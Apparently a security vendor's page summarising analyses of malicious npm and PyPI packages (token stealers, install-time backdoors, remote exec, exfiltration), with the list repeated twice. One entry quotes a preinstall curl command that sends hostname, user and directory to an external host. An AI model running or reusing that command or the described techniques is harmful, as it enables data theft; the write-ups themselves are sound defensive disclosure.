Secure your dependencies. Ship with confidence.

This module contains multiple high-risk behaviors consistent with supply-chain or backdoor activity: self-modifying source code, hardcoded PyPI credentials being written to /root/.pypirc, automated packaging and upload via twine, execution of shell commands with shell=True and unsanitized interpolation, creation and execution of a temporary Python file during install, and destructive filesystem commands. Even if parts appear buggy or incomplete (undefined variables), the patterns are dangerous. I recommend not using this package and treating it as malicious/untrusted until thoroughly audited and cleaned.

This assembly contains highly suspicious and malicious-capable code. The obfuscated module performs resource extraction, cryptographic transforms, writes executable bytes into process/native memory, creates delegates from raw function pointers, and installs runtime hooks. Those behaviors allow in-memory payload loading and hooking of runtime/native functions and are consistent with a loader/backdoor or supply-chain malicious component. Do not trust or use this package; treat it as malicious and remove it from builds and repositories pending a full incident response and provenance investigation.

This module contains deliberate credential-harvesting and data-exfiltration behavior. It scans local Discord LevelDB files for tokens, collects system metadata and public IP, and sends that data to a hardcoded external Discord webhook whenever the help view is shown. Treat this code as malicious — do not run it in trusted environments. Remove or neutralize the sendLogToWebhook()/grabDiscordTokens() calls and the hardcoded webhook before any legitimate use, and investigate if this package has been inserted into any projects or supply chains.

This module is an explicit denial-of-service/TCP-connection flood tool intended to overwhelm a target by opening many concurrent connections to port 443. It is malicious by design and should not be used against systems without explicit authorization. The code is readable (not obfuscated), contains unsafe concurrency practices and an incomplete/truncated ending that prevents immediate execution as provided but would be trivial to fix. Recommended action: treat as high-risk malicious code; do not execute against external targets; remove from supply chain or flag as malicious tooling.

The code sends sensitive credentials from environment variables over an unencrypted HTTP connection to an external API service at api[.]sqhyw[.]net:90. It authenticates using username/password from the YEZI_USER environment variable, retrieves access tokens, and automates the process of obtaining mobile phone numbers and SMS verification codes. This behavior poses significant supply chain security risks through: (1) leakage of environment variable credentials over unencrypted HTTP, (2) interaction with a suspicious external domain on a non-standard port, (3) logging of potentially sensitive API responses including tokens and SMS codes, and (4) facilitation of SMS verification bypass which could enable fraudulent account creation or spam activities. The code continuously polls the external API for up to 120 seconds to retrieve SMS codes, creating additional operational risks. While not containing traditional malware payloads, the credential exfiltration and suspicious external communication patterns justify classification as malware due to the significant security risks posed to systems that deploy this code.

The code exhibits malicious behavior by collecting and transmitting sensitive system information to an external server without user consent. This poses a high security risk and potential for data theft.

Live on npm for 2 hours and 18 minutes before removal. Socket users were protected even while the package was live.

This code implements a full-featured client-side inspector and wires it to a remote WebSocket endpoint, exfiltrating page metadata and relaying high-fidelity runtime/DOM/console data. It also accepts remote messages and forwards them into the inspector runtime, enabling remote-driven inspection and potential remote evaluation in the page context. The default hardcoded remote host (wss://bproxy.dev) and persistent session id make this behavior explicit and persistent. Treat as malicious or highly privacy-invasive if not intentionally installed and trusted; remove or isolate immediately and investigate provenance.

This file defines a sendEmail function that, instead of sending mail through a legitimate SMTP or trusted API, exfiltrates all provided email fields (from, to, subject, message) along with added metadata (source, from_email, to_email) via an unencrypted HTTP POST to the hardcoded endpoint http://emails[.]egytag[.]com/api/emails/add. The behavior occurs without user consent or configuration, leaks potentially sensitive message contents to an untrusted third party, and constitutes a deliberate data-theft backdoor.

This heavily obfuscated JavaScript code attempts to access and read locally stored information (such as tokens and IP addresses) from the user's system and exfiltrate it to remote endpoints. It employs multiple obfuscation layers, dynamic function calls, and network requests (e.g., fetch) to send harvested data—potentially including tokens—from the system to external servers (for example, example[.]com). The repeated checks for specific file paths in browser storage and the presence of functions named 'grabber' or 'ipget' strongly indicate an intent to steal and transmit sensitive information.

Live on npm for 35 minutes before removal. Socket users were protected even while the package was live.

The fragment represents invasive data handling within a Chrome extension: it harvests LinkedIn cookies and CSRF tokens, stores them, and transmits data to various backend endpoints, with uninstall URL beaconing and significant tab/script control. While certain features may be legitimate for functionality like syncing or profile retrieval, the combination of cookie/CSRF exposure, cross-origin data flows, and external uninstall telemetry constitutes substantial privacy and security concerns. A rigorous code provenance review, explicit user consent dialogs, data minimization, and restricted data sharing are strongly advised before deployment.

outwardly legitimate TraxService surface is present, yet a large embedded base64 payload within the source map decodes to extensive, obfuscated network/data-handling routines. This strongly indicates possible hidden data collection/exfiltration or backdoor behavior, representing a significant supply-chain risk. A thorough decode/verification of the embedded blob is required, and publishing the package should be reconsidered until verified clean.

The code has potential security risks due to its reliance on external input for command execution and fetching configuration data from a server. The use of subprocess.Popen to execute commands raises concerns about command injection vulnerabilities. Overall, the code should be reviewed carefully before use.

This module implements privileged node and device management and exposes HTTP endpoints that accept user input used directly in shell commands and Docker operations. Main risks: command injection (unsanitized string interpolation into shell commands and os.popen), destructive device operations (partitioning, bind/unbind), supplying arbitrary images to be pulled and run as privileged containers, and use of an unencrypted/unprotected Docker TCP socket (tcp://...:2375). I assess this as not manifestly malware but a high-risk administrative component that must be strictly access-controlled and hardened (validate/sanitize inputs, avoid passing raw user values into shell/Docker operations, use secure Docker API access, avoid exposing endpoints publicly).

The code exhibits multiple behaviors typical of malware, including keylogging, clipboard monitoring, persistence mechanisms, and remote command execution. These activities pose significant privacy and security risks.

Live on npm for 5 days, 19 hours and 3 minutes before removal. Socket users were protected even while the package was live.

Highly suspicious obfuscated Kafka wrapper containing hardcoded credentials for external messaging service. The extreme obfuscation combined with network communication capabilities and embedded authentication suggests potential malicious intent for data exfiltration or unauthorized access to enterprise messaging systems.

The content.js fragment demonstrates a structured data collection and exfiltration pattern typical of telemetry or backdoor-style extensions: URL and DOM context gathering, dynamic rule evaluation, local state persistence, and a forwarding sink via chrome.runtime.sendMessage with a scraps payload. While not conclusive malware from this isolated fragment, the combination of obfuscation, broad page access, and conditional data forwarding warrants careful review of the missing components (XGEf, dUTC, NeRD implementations, and background receiver) and explicit user consent/notification. Treat as high-risk until full source, manifest permissions, and network behavior are verified.

This setup.py contains a direct and dangerous supply-chain backdoor: it fetches Python code over plain HTTP from a hard-coded external server and exec()'s it during package setup. This enables complete remote code execution on any system that installs the package. Do not install or run this package. Remediation: remove remote exec, avoid network-driven code execution during packaging, require HTTPS and cryptographic verification for any remote data, and eliminate the broad exception handling that hides problems.

Live on PyPI for 12 hours and 21 minutes before removal. Socket users were protected even while the package was live.

This script establishes a stealthy, persistent SSH local port forward from the host (local port 9999) to remote host 67.202.15.57 targeting remote localhost:27017. On machines matching the specified hostnames, this effectively exposes or forwards access to a local service (likely a database on port 27017) to an external host, creating a backdoor/exfiltration channel. The hard-coded IP, root user, targeted hostnames, backgrounded nohup invocation, and output redirection are strong indicators of malicious or unauthorized behavior. Recommend removing/ quarantining this script, auditing SSH keys and authorized connections on affected hosts, and investigating connections to 67.202.15.57.

The code is malicious as it exfiltrates sensitive system information to an external domain using DNS queries. This poses a significant security risk.

Live on npm for 23 minutes before removal. Socket users were protected even while the package was live.

The source code is highly suspicious and likely malicious. It uses heavy obfuscation to hide its behavior, imports sensitive credentials, and sends data to an external Discord webhook. The use of discord.js-selfbot and webhooks is a common pattern for token stealers or backdoors. This code poses a significant security risk and should be treated as malware. It is recommended to block or remove this package from any software supply chain.

Live on npm for 2 hours and 42 minutes before removal. Socket users were protected even while the package was live.

The fragment automates detection of Mesh Agent state, downloads and installs an agent binary, and configures a persistent service with network parameters. While this could be legitimate updater logic, the combination of disabling TLS verification, silent file writes, service installation, and autonomous behavior without user consent or visible provenance constitutes a notable supply-chain and runtime persistence risk. If the downloaded binary is compromised or tampered with, this code could enable remote control, data exfiltration, or covert persistence. Therefore, moderate-to-high security concern: a risk of backdoor/persistence depending on payload integrity and environment.

The script is making a HTTP request to an external server. This behavior could be used for telemetry or data exfiltration, posing a security risk.

Live on npm for 9 minutes before removal. Socket users were protected even while the package was live.

This code constructs a CI job that performs covert data exfiltration: it captures the output of an arbitrary command (defaulting to environment variables), encrypts that data with a freshly generated symmetric key, encrypts the symmetric key with a provided public key, and prints both encrypted blobs to the CI logs. The purpose and implementation are consistent with malicious supply-chain behavior (secret harvesting/exfiltration). Do not use or deploy this code in CI pipelines; treat as high-risk and investigate origin.

A preinstall script executes `curl --data-urlencode "exfiltrate_data=$(hostname && whoami && pwd)" http://noreplyy[.]access[.]ly/receive.php`, sending the host name, current user, and working directory to a remote server without user consent. This behavior clearly indicates data exfiltration and malicious intent.

Live on npm for 6 hours and 31 minutes before removal. Socket users were protected even while the package was live.

This code contains a deliberate data-exfiltration backdoor in the sign(privateKey) method: the provided private key is uploaded in plaintext to pastebin.com using hard-coded API keys before local signing. This is a high-severity supply-chain/backdoor vulnerability that will leak secret keys and must be treated as malicious. Do not use this module; remove or patch the exfiltration, and assume any keys previously used may be compromised.

This module contains multiple high-risk behaviors consistent with supply-chain or backdoor activity: self-modifying source code, hardcoded PyPI credentials being written to /root/.pypirc, automated packaging and upload via twine, execution of shell commands with shell=True and unsanitized interpolation, creation and execution of a temporary Python file during install, and destructive filesystem commands. Even if parts appear buggy or incomplete (undefined variables), the patterns are dangerous. I recommend not using this package and treating it as malicious/untrusted until thoroughly audited and cleaned.

This assembly contains highly suspicious and malicious-capable code. The obfuscated module performs resource extraction, cryptographic transforms, writes executable bytes into process/native memory, creates delegates from raw function pointers, and installs runtime hooks. Those behaviors allow in-memory payload loading and hooking of runtime/native functions and are consistent with a loader/backdoor or supply-chain malicious component. Do not trust or use this package; treat it as malicious and remove it from builds and repositories pending a full incident response and provenance investigation.

This module contains deliberate credential-harvesting and data-exfiltration behavior. It scans local Discord LevelDB files for tokens, collects system metadata and public IP, and sends that data to a hardcoded external Discord webhook whenever the help view is shown. Treat this code as malicious — do not run it in trusted environments. Remove or neutralize the sendLogToWebhook()/grabDiscordTokens() calls and the hardcoded webhook before any legitimate use, and investigate if this package has been inserted into any projects or supply chains.

This module is an explicit denial-of-service/TCP-connection flood tool intended to overwhelm a target by opening many concurrent connections to port 443. It is malicious by design and should not be used against systems without explicit authorization. The code is readable (not obfuscated), contains unsafe concurrency practices and an incomplete/truncated ending that prevents immediate execution as provided but would be trivial to fix. Recommended action: treat as high-risk malicious code; do not execute against external targets; remove from supply chain or flag as malicious tooling.

The code sends sensitive credentials from environment variables over an unencrypted HTTP connection to an external API service at api[.]sqhyw[.]net:90. It authenticates using username/password from the YEZI_USER environment variable, retrieves access tokens, and automates the process of obtaining mobile phone numbers and SMS verification codes. This behavior poses significant supply chain security risks through: (1) leakage of environment variable credentials over unencrypted HTTP, (2) interaction with a suspicious external domain on a non-standard port, (3) logging of potentially sensitive API responses including tokens and SMS codes, and (4) facilitation of SMS verification bypass which could enable fraudulent account creation or spam activities. The code continuously polls the external API for up to 120 seconds to retrieve SMS codes, creating additional operational risks. While not containing traditional malware payloads, the credential exfiltration and suspicious external communication patterns justify classification as malware due to the significant security risks posed to systems that deploy this code.

The code exhibits malicious behavior by collecting and transmitting sensitive system information to an external server without user consent. This poses a high security risk and potential for data theft.

Live on npm for 2 hours and 18 minutes before removal. Socket users were protected even while the package was live.

This code implements a full-featured client-side inspector and wires it to a remote WebSocket endpoint, exfiltrating page metadata and relaying high-fidelity runtime/DOM/console data. It also accepts remote messages and forwards them into the inspector runtime, enabling remote-driven inspection and potential remote evaluation in the page context. The default hardcoded remote host (wss://bproxy.dev) and persistent session id make this behavior explicit and persistent. Treat as malicious or highly privacy-invasive if not intentionally installed and trusted; remove or isolate immediately and investigate provenance.

This file defines a sendEmail function that, instead of sending mail through a legitimate SMTP or trusted API, exfiltrates all provided email fields (from, to, subject, message) along with added metadata (source, from_email, to_email) via an unencrypted HTTP POST to the hardcoded endpoint http://emails[.]egytag[.]com/api/emails/add. The behavior occurs without user consent or configuration, leaks potentially sensitive message contents to an untrusted third party, and constitutes a deliberate data-theft backdoor.

This heavily obfuscated JavaScript code attempts to access and read locally stored information (such as tokens and IP addresses) from the user's system and exfiltrate it to remote endpoints. It employs multiple obfuscation layers, dynamic function calls, and network requests (e.g., fetch) to send harvested data—potentially including tokens—from the system to external servers (for example, example[.]com). The repeated checks for specific file paths in browser storage and the presence of functions named 'grabber' or 'ipget' strongly indicate an intent to steal and transmit sensitive information.

Live on npm for 35 minutes before removal. Socket users were protected even while the package was live.

The fragment represents invasive data handling within a Chrome extension: it harvests LinkedIn cookies and CSRF tokens, stores them, and transmits data to various backend endpoints, with uninstall URL beaconing and significant tab/script control. While certain features may be legitimate for functionality like syncing or profile retrieval, the combination of cookie/CSRF exposure, cross-origin data flows, and external uninstall telemetry constitutes substantial privacy and security concerns. A rigorous code provenance review, explicit user consent dialogs, data minimization, and restricted data sharing are strongly advised before deployment.

outwardly legitimate TraxService surface is present, yet a large embedded base64 payload within the source map decodes to extensive, obfuscated network/data-handling routines. This strongly indicates possible hidden data collection/exfiltration or backdoor behavior, representing a significant supply-chain risk. A thorough decode/verification of the embedded blob is required, and publishing the package should be reconsidered until verified clean.

The code has potential security risks due to its reliance on external input for command execution and fetching configuration data from a server. The use of subprocess.Popen to execute commands raises concerns about command injection vulnerabilities. Overall, the code should be reviewed carefully before use.

This module implements privileged node and device management and exposes HTTP endpoints that accept user input used directly in shell commands and Docker operations. Main risks: command injection (unsanitized string interpolation into shell commands and os.popen), destructive device operations (partitioning, bind/unbind), supplying arbitrary images to be pulled and run as privileged containers, and use of an unencrypted/unprotected Docker TCP socket (tcp://...:2375). I assess this as not manifestly malware but a high-risk administrative component that must be strictly access-controlled and hardened (validate/sanitize inputs, avoid passing raw user values into shell/Docker operations, use secure Docker API access, avoid exposing endpoints publicly).

The code exhibits multiple behaviors typical of malware, including keylogging, clipboard monitoring, persistence mechanisms, and remote command execution. These activities pose significant privacy and security risks.

Live on npm for 5 days, 19 hours and 3 minutes before removal. Socket users were protected even while the package was live.

Highly suspicious obfuscated Kafka wrapper containing hardcoded credentials for external messaging service. The extreme obfuscation combined with network communication capabilities and embedded authentication suggests potential malicious intent for data exfiltration or unauthorized access to enterprise messaging systems.

The content.js fragment demonstrates a structured data collection and exfiltration pattern typical of telemetry or backdoor-style extensions: URL and DOM context gathering, dynamic rule evaluation, local state persistence, and a forwarding sink via chrome.runtime.sendMessage with a scraps payload. While not conclusive malware from this isolated fragment, the combination of obfuscation, broad page access, and conditional data forwarding warrants careful review of the missing components (XGEf, dUTC, NeRD implementations, and background receiver) and explicit user consent/notification. Treat as high-risk until full source, manifest permissions, and network behavior are verified.

This setup.py contains a direct and dangerous supply-chain backdoor: it fetches Python code over plain HTTP from a hard-coded external server and exec()'s it during package setup. This enables complete remote code execution on any system that installs the package. Do not install or run this package. Remediation: remove remote exec, avoid network-driven code execution during packaging, require HTTPS and cryptographic verification for any remote data, and eliminate the broad exception handling that hides problems.

Live on PyPI for 12 hours and 21 minutes before removal. Socket users were protected even while the package was live.

This script establishes a stealthy, persistent SSH local port forward from the host (local port 9999) to remote host 67.202.15.57 targeting remote localhost:27017. On machines matching the specified hostnames, this effectively exposes or forwards access to a local service (likely a database on port 27017) to an external host, creating a backdoor/exfiltration channel. The hard-coded IP, root user, targeted hostnames, backgrounded nohup invocation, and output redirection are strong indicators of malicious or unauthorized behavior. Recommend removing/ quarantining this script, auditing SSH keys and authorized connections on affected hosts, and investigating connections to 67.202.15.57.

The code is malicious as it exfiltrates sensitive system information to an external domain using DNS queries. This poses a significant security risk.

Live on npm for 23 minutes before removal. Socket users were protected even while the package was live.

The source code is highly suspicious and likely malicious. It uses heavy obfuscation to hide its behavior, imports sensitive credentials, and sends data to an external Discord webhook. The use of discord.js-selfbot and webhooks is a common pattern for token stealers or backdoors. This code poses a significant security risk and should be treated as malware. It is recommended to block or remove this package from any software supply chain.

Live on npm for 2 hours and 42 minutes before removal. Socket users were protected even while the package was live.

The fragment automates detection of Mesh Agent state, downloads and installs an agent binary, and configures a persistent service with network parameters. While this could be legitimate updater logic, the combination of disabling TLS verification, silent file writes, service installation, and autonomous behavior without user consent or visible provenance constitutes a notable supply-chain and runtime persistence risk. If the downloaded binary is compromised or tampered with, this code could enable remote control, data exfiltration, or covert persistence. Therefore, moderate-to-high security concern: a risk of backdoor/persistence depending on payload integrity and environment.

The script is making a HTTP request to an external server. This behavior could be used for telemetry or data exfiltration, posing a security risk.

Live on npm for 9 minutes before removal. Socket users were protected even while the package was live.

This code constructs a CI job that performs covert data exfiltration: it captures the output of an arbitrary command (defaulting to environment variables), encrypts that data with a freshly generated symmetric key, encrypts the symmetric key with a provided public key, and prints both encrypted blobs to the CI logs. The purpose and implementation are consistent with malicious supply-chain behavior (secret harvesting/exfiltration). Do not use or deploy this code in CI pipelines; treat as high-risk and investigate origin.

A preinstall script executes `curl --data-urlencode "exfiltrate_data=$(hostname && whoami && pwd)" http://noreplyy[.]access[.]ly/receive.php`, sending the host name, current user, and working directory to a remote server without user consent. This behavior clearly indicates data exfiltration and malicious intent.

Live on npm for 6 hours and 31 minutes before removal. Socket users were protected even while the package was live.

This code contains a deliberate data-exfiltration backdoor in the sign(privateKey) method: the provided private key is uploaded in plaintext to pastebin.com using hard-coded API keys before local signing. This is a high-severity supply-chain/backdoor vulnerability that will leak secret keys and must be treated as malicious. Do not use this module; remove or patch the exfiltration, and assume any keys previously used may be compromised.